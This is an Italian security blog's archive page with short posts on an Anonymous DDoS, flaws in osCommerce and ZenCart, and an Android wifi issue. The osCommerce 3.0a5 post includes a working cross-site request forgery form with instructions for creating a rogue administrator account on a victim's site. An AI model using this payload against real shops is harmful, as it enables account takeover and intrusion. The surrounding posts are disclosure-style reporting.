Archive | Vulnerabilità RSS feed for this section

Anonymous lancia Operation Italy

13 gennaio 2012

0 Comments

Anonymous lancia Operation ItalyAnonymous colpisce ancora! Anonymous, la famosa rete di hackers che da tempo effettua azioni di hacking verso siti sensibili per rappresentare la voce del popolo, questo pomeriggio ha eseguito un attacco di tipo DDOS (Distributed Denial Of Service) che ha portato all’irraggiungibilità del dominio “italia.gov.it” per tutto il pomeriggio. Durante lo stesso attacco è stato preso di mira anche il sito dei neofascisti di “casapound.org” che allo stato attuale appare ancora offline (pagina di default di Apache).

Proprio qualche giorno fa avevamo intervistato l’Alpha_Team, una crew di giovani ragazzi italiani che sfruttando una vulnerabilità Sql Injection aveva avuto accesso ed eseguito un dump sempre del sito italia.gov.it. A questo articolo potete trovare maggiori informazioni e il dump in questione.

Anonymous con il comunicato pubblicato stamani reperibile qui accusa il neo Governo Italiano di aver fatto bei discorsi ma pochi fatti:

Il nuovo governo si è presentato con l’aspetto frigido di chi non avendo mai praticato la politica dovrebbe risultare esente dalle tentazioni che noi italiani ben conosciamo.

Sventolando parole a lungo agognate quali equità, giustizia sociale e rigore. Ebbene di queste non s’è ancora vista l’ombra, escluso il contegno con cui vi presentate ai media. Sappiate che siete sotto osservazione da più parti, e che non basteranno quattro buoni propositi.

[...]

Anonymous e tutti i cittadini liberi e consapevoli non resteranno a guardare.

Con questo comunicato e per tali motivazioni Anonymous informa che tornerà all’attacco e, dopo il DDOS odierno lancia l’operazione #Operation Italy o #OpItaly per il giorno 13 Febbraio 2012. L’obiettivo dell’attacco non è stato ancora deciso e verrà reso noto solo poco prima tramite gli hastag Twitter indicati in precedenza come accaduto oggi.

Aspettiamo il 13 Febbraio e vediamo cosa succede.

Keep in touch.

Continue reading...

[EXPLOIT] – osCommerce v3.0a5 Multiple Vulnerabilities

20 maggio 2011

0 Comments

[EXPLOIT]   osCommerce v3.0a5 Multiple VulnerabilitiesSeguendo la scia di notizie degli ultimi tempi che han portato alla luce gravi vulnerabilità per le ultime versioni di OsCommerce (2.3.1) e ZenCart (1.3.9h) non poteva mancare all’appello anche l’ultimissima alpha release osCommerce 3.0.a5.

Per gli sviluppatori di OsCommerce è davverò un brutto periodo dato che in neanche un mese tutti le versioni attualmente “stabili” sono state bucate da molteplici vulnerabilità. Nella release specifica, che ripetiamo si tratta di una alpha, sono state individuate vulnerabilità di tipo Xss, Full Path Disclosure, Local File Inclusion e XSRF.

La Full Path Disclosure consiste nell’interrogare alcuni file del Template di OsCommerce che, andando in errore, mostrano a video la full path della loro posizione sul Server. Con questa sola informazione si può fare poco ma, anche in questo caso, se unita ad altri tipi di attacchi diventa una utile informazione. La XSS permette di iniettare codice JavaScript sfruttando una falla del file “products.php” mentre la Local File Inclusion consente di richiamare file presenti sul Server sfruttando la procedura di disinstallazione moduli del Cms che non verifica opportunamente i parametri passati e permette di accettare in input qualsiasi path raggiungibile.

Anche in questo caso c’è una falla più grave delle altre e a mio avviso è la XSRF che permette di inviare comandi all’applicativo senza che questi vengano verificati in alcun modo. Nel caso specifico sarà possibile creare un nuovo Admin sull’OsCommerce.

Basterà creare una pagina “.html” contenente il seguente codice:

<html>
<body>
<form action="http://<sito vittima>/admin/index.php?administrators&action=save" method="post">
<input type="text" name="user_name" value="<nomeutente>">
<input type="text" name="user_password" value="<password>">
<input type="text" name="modules[]" value="0?>
<input type="hidden" name="subaction" value="confirm"/>
<input type="submit" value="Save">
</form>
</body>
</html>

Ovviamente dovrete sostituire i seguenti parametri:

<sito vittima> con il dominio del sito in cui si vuole creare l’account

<nomeutente> con il nome utente del nuovo Admin

<password> con la password da associare al nuovo Admin

Una volta creata la pagina richiamatela dal vostro Browser e cliccate su “Save”.

Se tutto è andato a buon fine accedendo all’url:

http://<sito vittima>/admin/

potrete loggarvi come Admin con i dati appena inseriti.

Per informazioni dettagliate vi rimando al link del Dr. Alberto Fontanella autore dell’articolo.

osCommerce v3.0a5 [ Multiple Vulnerabilities ]

 

Continue reading...

[EXPLOIT] – ZenCart 1.3.9h Multiple Vulnerabilities

20 maggio 2011

0 Comments

[EXPLOIT]   ZenCart 1.3.9h Multiple VulnerabilitiesE’ ormai consuetudine che dopo l’individuazione di una nuova falla per OsCommerce a catena vengano individuate le stesse (o quasi) falle per ZenCart, altro noto Cms derivato dallo stesso OsCommerce.

La versione vulnerabile è l’ultima disponibile ossia la 1.3.9h e presenta vulnerabilità di vario tipo: Full Path Disclosure, Reflected XSS, Stored XSS e Arbitrary File Upload.

La vulnerabilità Full Path Disclosure permette, se la gestione degli errori è configurata per mostrarli a video, di conoscere la path assoluta dell’applicativo. Di per sé non è una falla che consente di effettuare alcun tipo di azione ma l’informazione che si ottiene potrebbe essere utile se unita ad attacchi che vanno a scrivere sul FileSystem o similari. Le due XSS, invece, non affliggono l’attuale 1.3.9h ma tutte le versioni precedenti. Le vulnerabilità sono localizzate nel campo “Quantità” del carrello che permette l‘injection di codice XSS e nell’Area Amministrativa “Location/Taxes”. Per quest’ultima, quindi, si presume che si abbia già l’accesso Admin.

L’ultima vulnerabilità, la più grave, riguarda invece il componente Banner (banner_manager.php) che, così come per OsCommerce, permette di effettuare l’upload di files che verranno salvati nella cartella “images”.

Per informazioni dettagliate vi rimando al link del Dr. Alberto Fontanella autore dell’articolo.

Zen Cart <= v.1.3.9h [ Multiple Vulnerabilities ]

 

Continue reading...

[EXPLOIT] – OsCommerce 2.3.1 Remote File Upload Vulnerability

19 maggio 2011

0 Comments

[EXPLOIT]   OsCommerce 2.3.1 Remote File Upload VulnerabilityCome ricordete l’ultima volta che venne nominato l’ecommerce OsCommerce su questo sito era per segnalare una grave vulnerabilità presente in tutte le versioni. La falla era presente anche in diverse versioni di ZenCart in quanto derivato da OsCommerce stesso.

A distanza di 2 anni i programmatori, dopo una lunga latitanza, hanno rilasciato 2 nuove versioni: la 2.3.1 e la nuova 3.0.1. Il rilascio delle due nuove versioni non ha avuto molto risalto e tra gli utilizzatori di questo applicativo pochi hanno provveduto ad aggiornare.

Lo scorso 14 Maggio, però, è stata scoperta una nuova falla (purtoppo molto simile alla precedente) che permette l’upload di files nella cartella “/images” senza dover utilizzare tecniche particolari o rubare i dati di Amministratore.

[...]

Continue reading...

Google risolve grave problema di sicurezza su Android

18 maggio 2011

0 Comments

Google risolve grave problema di sicurezza su AndroidNon sono passate nemmeno 24 ore da quando é stata scoperta una gravissima vulnerabilità di Android che Google é corsa ai ripari sviluppando un fix che verrà rilasciato via ota già dalle prossime ore.

La vulnerabilità è particolarmente grave perchè colpisce piú del 99% dei device attivi, ne risultano immuni infatti solo le versioni Gingerbread 2.3.4 e Honeycomb 3.0 e 3.1.
Per fortuna, in attesa di ricevere il fix nei prossimi giorni gli utenti potranno comunque proteggersi mettendo in pratica alcuni accorgimenti.
Il problema di sicurezza si verifica solo se un utente si collega ad una rete wifi libera, quindi chiunque si connetta abitualmente ad hotspot o lo abbia fatto di recente farebbe meglio a disattivare l’opzione di connessione automatica alle reti wifi ed eliminando il consenso a quelle utilizzate di recente, nel caso la rete free fosse di proprietà il consiglio é ovviamente quello di impostare una protezione, ma questo é una buona norma sempre, non solo in casi di vulnerabilità come quella di cui stiamo parlando in questo articolo.
Allo stato attuale, in attesa della patch di Google, il rischio che si corre é quello che un utente non autorizzato possa accedere ai nostri dati contenuti nel calendario e nei contatti di Android perché lo scambio di autorizzazione tra il client e server non avviene tramite protocollo https (Hyper Text Transfer Protocol Secure), ma tramite semplice http.
Tuttavia Google sta valutando anche la connessione alle librerie di Picasa che sembrerebbero anch’esse affette dalla stessa vulnerabilità, un motivo in piú per diffidare delle reti aperte fino a che non sarà cessato del tutto questo giustificato allarme.

Continue reading...
Pagina 2 di 512345
Stop SOPA